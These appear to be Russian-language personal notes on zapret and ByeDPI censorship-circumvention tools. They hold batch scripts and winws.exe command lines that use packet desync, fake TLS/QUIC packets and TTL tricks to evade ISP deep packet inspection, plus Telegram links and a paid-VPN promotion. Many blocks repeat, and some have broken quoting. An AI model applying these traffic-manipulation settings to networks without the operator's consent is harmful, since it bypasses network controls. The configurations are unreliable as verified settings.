--dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="%BIN%quic_initial_www_google_com.bin" --dpi-desync-cutoff=n2 ``` ### zapret-v1.8.5-BF-v3.2 General-BF (ALT7).bat ```bash @echo off chcp 65001 > nul :: 65001 - UTF-8 cd /d "%~dp0" call service.bat status_zapret echo: set "BIN=%~dp0bin\" set "LISTS=%~dp0lists\" cd /d %BIN% start "zapret: %~n0" /min "%BIN%winws.exe" --wf-raw="@%LISTS%wf-bf.txt" ^ --filter-udp=19294-19344,50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,multisplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=2053,2083,2087,2096,8443 --hostlist-domains=discord.media --dpi-desync=multisplit --dpi-desync-split-pos=2,sniext+1 --dpi-desync-split-seqovl=679 --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=multisplit --dpi-desync-split-pos=2,sniext+1 --dpi-desync-split-seqovl=679 --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_www_google_com.bin" --new ^ --filter-udp=443 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake,multisplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-udp=* --dpi-desync=fake --dpi-desync-any-protocol=1 --dpi-desync-autottl=2 --dpi-desync-repeats=9 --dpi-desync-fake-unknown-udp="%BIN%quic_initial_www_google_com.bin" --dpi-desync-cutoff=n2 ``` General-BF (ALT8).bat ```bash @echo off chcp 65001 > nul :: 65001 - UTF-8 cd /d "%~dp0" call service.bat status_zapret echo: set "BIN=%~dp0bin\" set "LISTS=%~dp0lists\" cd /d %BIN% start "zapret: %~n0" /min "%BIN%winws.exe" --wf-raw="@%LISTS%wf-bf.txt" ^ --filter-udp=19294-19344,50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-tcp=2053,2083,2087,2096,8443 --hostlist-domains=discord.media --dpi-desync=fake --dpi-desync-fake-tls-mod=none --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-tcp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake --dpi-desync-fake-tls-mod=none --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-udp=443 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-udp=* --dpi-desync=fake --dpi-desync-any-protocol=1 --dpi-desync-autottl=2 --dpi-desync-repeats=9 --dpi-desync-fake-unknown-udp="%BIN%quic_initial_www_google_com.bin" --dpi-desync-cutoff=n2 ``` --- --- tags: link: aliases: img: --- [[home|На главную]] ## Blocheck - автоподбор стратегий Запрета Полезно для тех у кого НЕ работает какой-то сайт со **ВСЕМИ** стоковыми стратегиями из Zapret GUI. 1. Создать папку blockcheck 2. Вытащить из zip архива на рабочий стол всё содержимое архива 3. Перейти в папку `blockcheck`. 4. Запустить `blockcheck.cmd`. 5. Дождаться остановки тестирования (_это будет долго около 1 часа, **НЕ закрывайте консоль** иначе придётся начинать с самого начала_). 6. Скинуть результаты из лога файла по пути `blockcheck.log` нам в [комментарии](https://t.me/zapretblockcheck). По этим логам мы построим новые стратегии для дискорда. ------ Для пущей убедительности вы можете открыть https://discord.com или любой другой сайт в браузере - если он прогрузит на какой-то стратегии - значит она наиболее эффективна. Это последнее что мы можем вам посоветовать в запрете - если у вас ничего не работает. Более запрет не имеет других стратегий для обхода. Через этот способ Вы переберёте сразу ВСЁ! ## https://t.me/zapretblockcheck --- --- tags: aliases: img: height: 400 --- ByeDPIAndroid — это мобильная версия DPI-обхода для устройств Android, аналогичная Zapret GUI для Windows. Особенности: - 🔧 Простая настройка и использование - 🛡️ Обход блокировок сайтов на Android - ⚡ Работа без root-доступа - 🔄 Регулярные обновления - 💬 Активная поддержка сообщества ### [📱 GitHub проекта](https://github.com/romanvht/ByeDPIAndroid) ### [💬 Telegram группа ](https://t.me/byebyedpi_group) ### [Быстрый старт в работе с программой](https://telegra.ph/ByeByeDPI-quick-start-05-08) ### [Комплексная инструкция в формате текста, есть ответы практически на все и даже больше](https://github.com/HideakiTaiki/ByeByeDPI-Manual/blob/main/README.md) ### [Альтернативные YouTube клиенты](https://4pda.to/forum/index.php?showtopic=1050118) > [!NOTE] **ВАЖНО!** > ByeDPIAndroid разрабатывается независимо от Zapret GUI, но использует схожие принципы работы. --- --- tags: aliases: img: --- DiscordFix (для Билайн, Ростелеком, Инфолинк).bat ```bash @echo off chcp 65001 >nul :: 65001 - UTF-8 cd /d "%~dp0..\" set BIN=%~dp0..\bin\ set LIST_TITLE=ZAPRET: Discord Fix Beeline-Rostelekom-Infolink set LIST_PATH=%~dp0..\lists\list-discord.txt set DISCORD_IPSET_PATH=%~dp0..\lists\ipset-discord.txt start "%LIST_TITLE%" /min "%BIN%winws.exe" --wf-udp=50000-50100 ^ --filter-udp=50000-50100 --ipset="%DISCORD_IPSET_PATH%" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 ^ --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata --dpi-desync-fake-syndata=/cygdrive/c/zapret-win-bundle-master/blockcheck/zapret/files/fake/tls_clienthello_iana_org.bin --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,split2 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,split2 --dpi-desync-fake-syndata=/cygdrive/c/zapret-win-bundle-master/blockcheck/zapret/files/fake/tls_clienthello_iana_org.bin --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,disorder2 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,disorder2 --dpi-desync-fake-syndata=/cygdrive/c/zapret-win-bundle-master/blockcheck/zapret/files/fake/tls_clienthello_iana_org.bin --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata --wssize 1:6 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata --dpi-desync-fake-syndata=/cygdrive/c/zapret-win-bundle-master/blockcheck/zapret/files/fake/tls_clienthello_iana_org.bin --wssize 1:6 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,split2 --wssize 1:6 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,split2 --dpi-desync-fake-syndata=/cygdrive/c/zapret-win-bundle-master/blockcheck/zapret/files/fake/tls_clienthello_iana_org.bin --wssize 1:6 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,disorder2 --wssize 1:6 --wf-l3=ipv4 --wf-tcp=443 --dpi-desync=syndata,disorder2 --dpi-desync-fake-syndata=/cygdrive/c/zapret-win-bundle-master/blockcheck/zapret/files/fake/tls_clienthello_iana_org.bin --wssize 1:6 ``` --- ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl 2:2-12 ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl 2:2-12 ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl 2:2-12 ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake --dpi-desync-fooling=md5sig --dpi-desync-fake-tls-mod=rnd,rndsni,padencap ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl 2:2-12 ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq --dpi-desync-autottl 2:2-12 ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-fake-tls="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\3.bin" --dpi-desync-autottl ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=multisplit --dpi-desync-repeats=2 --dpi-desync-split-seqovl=681 --dpi-desync-split-pos=1 --dpi-desync-split-seqovl-pattern="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\4.bin" ``` ```bash "C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\winws.exe" --wf-tcp=80,443 --filter-tcp=80 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=sld+1 --dpi-desync-fake-http=0x0F --dpi-desync-autottl 2:2-12 --new --filter-tcp=443 --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\cdn.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\blacklist.txt" --hostlist="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\myblacklist.txt" --hostlist-exclude="C:\Privacy\AyuGram\tdata\temp_data\Launcher for Zapret v2.9.1\Win_10-11\zapret-x64\auxiliary\whitelist.txt" --dpi-desync=fake --dpi-desync-fooling=md5sig --dpi-desync-fake-tls-mod=rnd,rndsni,padencap ``` --- ```embed title: "League of Legends EUW/EUNE/PBE · Flowseal zapret-discord-youtube · Discussion #3778" image: "https://opengraph.githubassets.com/c55eb902b1e6e5fc34d617c9889180486590e3de16ba13a57681192212f627e4/Flowseal/zapret-discord-youtube/discussions/3778" description: "NoteСделал обсуждение, чтобы не потерялось (если бы это было issue) и удобнее было кидать ссылку на это решение. По сути - это оригинальный способ от @Flowseal -> #2354, которые помог мне и ещё ..." url: "https://github.com/Flowseal/zapret-discord-youtube/discussions/3778" favicon: "" aspectRatio: "50" ``` --- --- tags: - zapret - zapret/inprogress --- An error occurred during a connection to www.youtube.com. PR_CONNECT_RESET_ERROR В zen эта ошибка, так же похоже отвалились сервисы google. С телефона (приложения youtube) работает. Edge открывает youtube, но в аккаунт войти не могу (видимо блок авторизации google) ip_family включил upd. починил этой стратегией ``` NFQWS_ARGS="--dpi-desync=fakedsplit --dpi-desync-split-pos=1 --dpi-desync-ttl=0 --dpi-desync-repeats=16 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls-mod=padencap --dpi-desync-fake-tls=/opt/etc/nfqws/tls_clienthello.bin" ``` --- ### 📂 Папка с нашими чатами: ### https://t.me/addlist/xjPs164MI7AxZWE6 ## ➖➖➖➖➖ Каналы ➖➖➖➖➖ ### 👅 Основная группа: ### https://t.me/bypassblock/399 ### 🧩 Группа по блокировкам: ### https://t.me/youtubenotwork 😹 Для Android и прочие VPN сервисы: https://t.me/zapretyoutubediscordvpn Популярные моды APK файлы: 🤖 https://t.me/androidawesome 🔗 Переходник (все каналы): https://t.me/runetvpnyoutubediscord ## ➖➖➖➖➖ О Zapret ➖➖➖➖➖ ☺️ Скачать Zapret (стабильные версии): https://t.me/zapretnetdiscordyoutube ☺️ Скачать Zapret (дев версии): https://t.me/zapretguidev ℹ️ Скачать Blockcheck: https://t.me/zapretblockcheck 😒 Дорожная карта: https://t.me/approundmap ❓ Помощь с настройкам Zapret (задать вопрос): https://t.me/zaprethelp 😷 Вирусы в Запрете? https://t.me/zapretvirus ➖➖➖➖➖ Боты ➖➖➖➖➖ ☺️ ИИ помощник по обходу, а также скачать Zapret: https://t.me/zapretbypass_bot ### 😁 💵💵💵 Платный VPN от команды Zapret GUI: https://t.me/zapretvpns_bot 💵💵💵 --- ```embed title: "💬 Comss.one DNS - Комментарии и отзывы" image: "https://cdn.comss.net/favicon.svg" description: "Comss.one DNS - комментарии и отзывы пользователей на сайте Comss.ru. Часто задаваемые вопросы" url: "https://www.comss.ru/disqus/page.php?id=7315" favicon: "" aspectRatio: "100" ``` --- ```bat :: general (Dronatar)v4.2 :: Сделано Dronatar для «zapret-discord-youtube» версий 1.8.0 – 1.8.4 :: Ссылка на обсуждение: https://github.com/Flowseal/zapret-discord-youtube/discussions/3279 @echo off title zapret: %~n0 cd /d "%~dp0" chcp 65001 >nul call service.bat status_zapret net session >nul 2>&1 if %errorLevel% == 0 ( echo Запуск... ) else ( echo Требуются права администратора... ) call service.bat load_game_filter set "BIN=%~dp0bin\" set "LISTS=%~dp0lists\" cd /d %BIN% start "zapret: %~n0" /min "%BIN%winws.exe" --wf-tcp=80,443,2053,2083,2087,2096,8443,%GameFilter% --wf-udp=443,19294-19344,50000-50032,%GameFilter%,0-65535 ^ --comment Discord (RTC) --filter-udp=19294-19344,50000-50032 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-fake-discord=0x00 --dpi-desync-fake-stun=0x00 --dpi-desync-repeats=6 --new ^ --comment Discord --filter-tcp=443,2053,2083,2087,2096,8443 --hostlist-domains=dis.gd,discord-attachments-uploads-prd.storage.googleapis.com,discord.app,discord.co,discord.com,discord.design,discord.dev,discord.gift,discord.gifts,discord.gg,discord.media,discord.new,discord.store,discord.status,discord-activities.com,discordactivities.com,discordapp.com,cdn.discordapp.com,discordapp.net,media.discordapp.net,images-ext-1.discordapp.net,updates.discord.com,stable.dl2.discordapp.net,discordcdn.com,discordmerch.com,discordpartygames.com,discordsays.com,discordsez.com --hostlist-exclude-domains=gateway.discord.gg --dpi-desync=fake --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=0 --new ^ --comment Discord (Gateway) --filter-tcp=443 --hostlist-domains=gateway.discord.gg --dpi-desync=fake --dpi-desync-fake-tls-mod=rnd,dupsid,sni=yandex.ru --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=0 --new ^ --comment YouTube QUIC/QUIC --filter-udp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --comment YouTube Streaming/HTTP --filter-tcp=80 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,multisplit --dpi-desync-fake-tls-mod=rnd,dupsid,sni=yandex.ru --dpi-desync-fooling=badseq --new ^ --comment YouTube --filter-tcp=443 --hostlist-domains=yt3.ggpht.com,yt4.ggpht.com,yt3.googleusercontent.com,googlevideo.com,jnn-pa.googleapis.com,wide-youtube.l.google.com,youtube-nocookie.com,youtube-ui.l.google.com,youtube.com,youtubeembeddedplayer.googleapis.com,youtubekids.com,youtubei.googleapis.com,youtu.be,yt-video-upload.l.google.com,ytimg.com,ytimg.l.google.com 